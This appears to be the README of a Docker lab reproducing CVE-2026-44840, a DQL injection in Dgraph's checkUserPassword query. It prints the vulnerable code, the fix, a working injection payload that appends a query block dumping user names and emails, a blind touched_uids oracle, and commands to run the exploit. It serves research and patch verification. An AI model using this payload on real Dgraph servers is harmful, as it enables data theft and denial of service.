
Docker लैब जो CVE-2026-44840 को पुनः उत्पन्न करती है, जो Dgraph के checkUserPassword GraphQL क्वेरी में एक DQL इंजेक्शन है, जिसमें exploit स्क्रिप्ट और vulnerable बनाम patched तुलना शामिल है।
checkUserPassword के माध्यम से Dgraph DQL इंजेक्शन (GraphQL)Dgraph में एक वास्तविक इंजेक्शन को पुनरुत्पादित करने वाली Docker प्रयोगशाला:
dgraph/dgraph:v25.3.3dgraph/dgraph:v25.3.42026 का वास्तविक CVE · CVSS 3.1 7.5 (High) ·
CWE-943(Improper Neutralization in Data Query Logic) · Kai Aizen को श्रेय (GHSA-q2m9-6jp9-c6mc,GO-2026-5837)। केवल पृथक और अधिकृत लैब वातावरण के लिए।
checkUserPassword वह GraphQL क्वेरी है जिसे Dgraph स्वचालित रूप से निर्देश वाले
प्रकारों के लिए स्कीमा में उत्पन्न करता है। में
(≤ v25.3.3) पासवर्ड को के साथ जोड़ा जाता था :
@secret(field: "password")graphql/resolve/query_rewriter.gofmt.SprintfpwdVar := fmt.Sprintf(`checkpwd(%s, "%s")`, predicate, password) // VULNERABLE
हमलावर का पासवर्ड शाब्दिक रूप से DQL में सम्मिलित हो जाता है:
pwd as checkpwd(User.password, "<password del atacante>")
फिक्स (v25.3.4, कमिट cee702c) मान को पैरामीटराइज़ करता है:
pwdVar = "$pwd0" // FIX
// executa con &dgoapi.Request{Query: qry, Vars: map[string]string{"$pwd0": password}, ...}
दो क्लस्टर Dgraph (zero+alpha) उठाता है: v25.3.3 और v25.3.4।
स्कीमा type User @secret(field: "password") अपलोड करता है और admin, alice, bob बनाता है।
checkUserPassword को एक ऐसा पासवर्ड भेजता है जो DQL लिटरल से बाहर निकल जाता है और एक मनमाना
क्वेरी ब्लॉक जोड़ता है:
x")
}
injected(func: has(User.name)) {
User.name
User.email
uid
}
#
v25.3.3 में injected { ... } ब्लॉक पार्स होता है और सर्वर-साइड निष्पादित होता है।
| परीक्षण | v25.3.3 (असुरक्षित) | v25.3.4 (पैच किया गया) |
|---|---|---|
| सही पासवर्ड से लॉगिन | OK (touched_uids 7) | OK (touched_uids 7) |
| गलत पासवर्ड से लॉगिन | null (5) | null (5) |
इंजेक्ट किया गया पासवर्ड )} injected{...} # | निष्पादित होता है: touched_uids 14 | निष्क्रिय: 5 |
ओरेकल: eq(User.name,"bob") इंजेक्ट किया गया | touched_uids 7 (मौजूद है) | 5 |
ओरेकल: eq(User.name,"nobody") इंजेक्ट किया गया | 5 (मौजूद नहीं है) | 5 |
dgraph alpha का लॉग | injected ब्लॉक वाला DQL दिखाता है | पैरामीटराइज़्ड DQL, बिना ब्लॉक |
CVE का प्रभाव: सर्वर-साइड मनमाना DQL निष्पादन → डेटा की ब्लाइंड गणना
(touched_uids/timing के माध्यम से), स्कीमा की खोज (has(), eq()) और महँगी ट्रैवर्सल
(expand(_all_), रिकर्शन) इंजेक्ट करके संसाधन खपत के कारण DoS।
# 1) levantar todo, preparar esquema/usuarios y ejecutar el exploit
bash run.sh
# 2) solo el exploit (si el lab ya esta preparado)
python3 exploit/exploit.py
# 3) montar el entorno desde cero (pod / volcado)
docker compose up -d
python3 setup/setup.py --alpha http://localhost:8180
python3 setup/setup.py --alpha http://localhost:8280
# 4) limpiar
docker compose down # conserva los volumenes
docker compose down -v # borra los volumenes (datos de dgraph)
| सेवा | HTTP GraphQL | HTTP admin | gRPC alpha |
|---|---|---|---|
| alpha v25.3.3 | http://localhost:8180/graphql | http://localhost:8180/admin | 9180 |
| alpha v25.3.4 | http://localhost:8280/graphql | http://localhost:8280/admin | 9280 |
CVE-2026-44840-poc/
├── docker-compose.yml # 2 clusters: zero+alpha v25.3.3 / v25.3.4
├── schema.graphql # type User @secret(field:"password")
├── run.sh # orquestador completo
├── REDTEAM.md # guía red team: recon + explotación paso a paso + OPSEC
├── setup/setup.py # esquema + usuarios
└── exploit/exploit.py # inyeccion DQL e oraculo
आक्रामक परिचालन गाइड (पुनर्ज्ञान, चरण-दर-चरण शोषण, पेलोड, साक्ष्य
और OPSEC): REDTEAM.md।
पासवर्ड GraphQL वेरिएबल के रूप में यात्रा करता है; रीराइटर तक पहुँचने वाला मान एस्केप नहीं होता और
checkpwd(User.password, "...") के अंदर सम्मिलित हो जाता है। पेलोड:
x") # cierra el literal de checkpwd y la funcion
} # cierra el bloque checkPwd
injected(...) # nuevo bloque root del atacante
{ ... }
# # comenta el resto del template: ")
# टेम्पलेट के सफिक्स (checkpwd का समापन ") को पार्सिंग तोड़ने से रोकता है।
dgraph v25.3.4+ पर अपडेट करें।dgoapi.Request के vars), कभी भी
इनपुट को fmt.Sprintf के साथ इंटरपोलेट न करें।